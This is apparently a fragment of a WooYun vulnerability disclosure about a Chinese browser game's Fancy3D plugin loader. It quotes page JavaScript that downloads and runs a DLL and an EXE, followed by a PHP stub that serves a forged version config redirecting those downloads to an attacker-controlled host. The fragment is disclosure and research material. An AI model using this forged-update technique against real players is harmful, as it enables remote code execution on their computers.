WooYun.org

<script src="http://s18.37wan.sgws.ate.cn/proxy/getvjs/x52/18"></script>//加载后期配置
<script src="http://res.ly.sgws.g.1360.com/static/52xiyou/js/logic1.2.js"></script>//Fancy3D插件启动脚本
this.logincode = (function(){
				var box = 'no';
				if(_self.platform == 'xunlei'){
					try { window.external.GetClientInfo(); box = 'xunlei';} catch(e) { box = 'no'; }	
				}
				return 'foaparam=lordcrab:\/\/sn=18服\x26sa=s18.37wan.sgws.ate.cn:3018\x26tl=1439716841\x26un=p37_18_xutianle2\x26cc=某个md5\x26nc=p37_18_xutianle2\x26dx=\x26ndx=\x26cv=test3\/\x26api=http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18\x26xcn=test\x26xcv=3&xdt=' + box + '# http:\/\/s18.37wan.sgws.ate.cn\/proxy\/getv\/x52\/18 a 3 test 1';
			}());	//logincode生成 下面会说到

window.gameversion="1400301";window.TangRen_AutoPatch="http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip";window.fancydownurlx64="http://res.ly.sgws.g.1360.com/static/fancy/down64.dll";window.fancyentryurl="http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe";window.clientversion="1.0";window.versions="1400229";window.fancydownurlx86="http://res.ly.sgws.g.1360.com/static/fancy/down.dll";window.entrymd5="8cbed3568c343907430a7a4c5b1ac428";window.mfc="http://res.ly.sgws.g.1360.com/updateot/mfc.zip";window.TangRenPluginSetUp="http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip";window.fancymd5x64="dd6ffd1aedc204efec3a722ec670f176";window.fancymd5x86="aa401a6cb0f487078b75454576eba479";window.version="1.0";

....以上省略....
//-------------------------------------------
//启动青果插件
function load_fancy_html_obj(){
	var attr = _E.browser == 'ie'?'classid="clsid:b2e8d85e-c0c5-48df-8dbc-1359b339ae32"' : 'type="application/fancy-npruntime-fancy3d-plugin"';		
	var liburl = window.fancydownurlx86;
	var libmd5 = window.fancymd5x86;
	if(_E.browser == 'ie' && _E.platform == 'x64'){
		liburl = window.fancydownurlx64;
		libmd5 = window.fancymd5x64;
	}
	var tr_pick_url			= 'http://'+_G.pickurl+'/pick/multiinfo',
		tr_createTokenUrl 	= 'http://'+_G.apiHost+'/createtoken?token=' + _G.tr_token,
		tr_createTokenKey 	= 'none',
		tr_createTokenName 	= 'none';
	var param1 = _G.username + ' ' + tr_pick_url + ' ' + tr_createTokenUrl + ' ' + tr_createTokenKey + ' '+ tr_createTokenName + ' ' + _G.logincode;
	
	var html = '<object id="fancy3d_object" ' + attr + '>'+
				'<param name="game" value="ZDSGGame" />'+
				'<param name="nprver" value="0.0.2.17" />'+
				'<param name="ocxver" value="0.0.2.17" />'+
				'<param name="liburl" value="' + liburl + '" />'+
				'<param name="libmd5" value="' + libmd5 + '" />'+
				'<param name="unsafelib" value="allow" />'+
				'<param name="param1" value="exeparam=40 ' + param1 + '" />'+
				'<param name="exename" value="SangoWebEntry.exe" />'+
				'<param name="exeurl" value="' + window.fancyentryurl + '" />'+				
				'<param name="exemd5" value="' + window.entrymd5 + '" />'+
			'</object>';
	$("#fancy3d_divbox").html(html);	
}
....以下省略....

{"gameversion": "1400301", "TangRen_AutoPatch": "http://res.ly.sgws.g.1360.com/updateot/TangRen-AutoPatch5.18.zip", "fancydownurlx64": "http://res.ly.sgws.g.1360.com/static/fancy/down64.dll", "fancyentryurl": "http://res.ly.sgws.g.1360.com/static/fancy/SangoWebEntry.exe", "clientversion": "1.0", "versions": "1400229", "fancydownurlx86": "http://res.ly.sgws.g.1360.com/static/fancy/down.dll", "entrymd5": "8cbed3568c343907430a7a4c5b1ac428", "mfc": "http://res.ly.sgws.g.1360.com/updateot/mfc.zip", "TangRenPluginSetUp": "http://res.ly.sgws.g.1360.com/updateot/TangRenPluginSetUp1.4.zip", "fancymd5x64": "dd6ffd1aedc204efec3a722ec670f176", "fancymd5x86": "aa401a6cb0f487078b75454576eba479", "version": "1.0"}

<?php
if($_GET['type'] == 'gameversion'){ //流程第5步请求的api 图方便我也改成这里了
        die('1400301');
}else{
echo '{"gameversion": "1400303", "TangRen_AutoPatch": "http://localhost/updateot/TangRen-AutoPatch5.18.zip", "fancydownurlx64": "http://localhost/static/fancy/down64.dll", "fancyentryurl": "http://localhost/static/fancy/SangoWebEntry.exe", "clientversion": "1.1", "versions": "1400303", "fancydownurlx86": "http://localhost/static/fancy/down.dll", "entrymd5": "9cbed3568c343907430a7a4c5b1ac428", "mfc": "http://localhost/updateot/mfc.zip", "TangRenPluginSetUp": "http://localhost/TangRenPluginSetUp1.4.zip", "fancymd5x64": "dd6efd1aedc204efec3a722ec670f176", "fancymd5x86": "ba401a6cb0f487078b75454576eba479", "version": "1.0"}';
}

"TangRen_AutoPatch": "http://localhost/TangRen-AutoPatch5.18.zip"

var html = '<object id="fancy3d_object" ' + attr + '>'+
				'<param name="game" value="ZDSGGame" />'+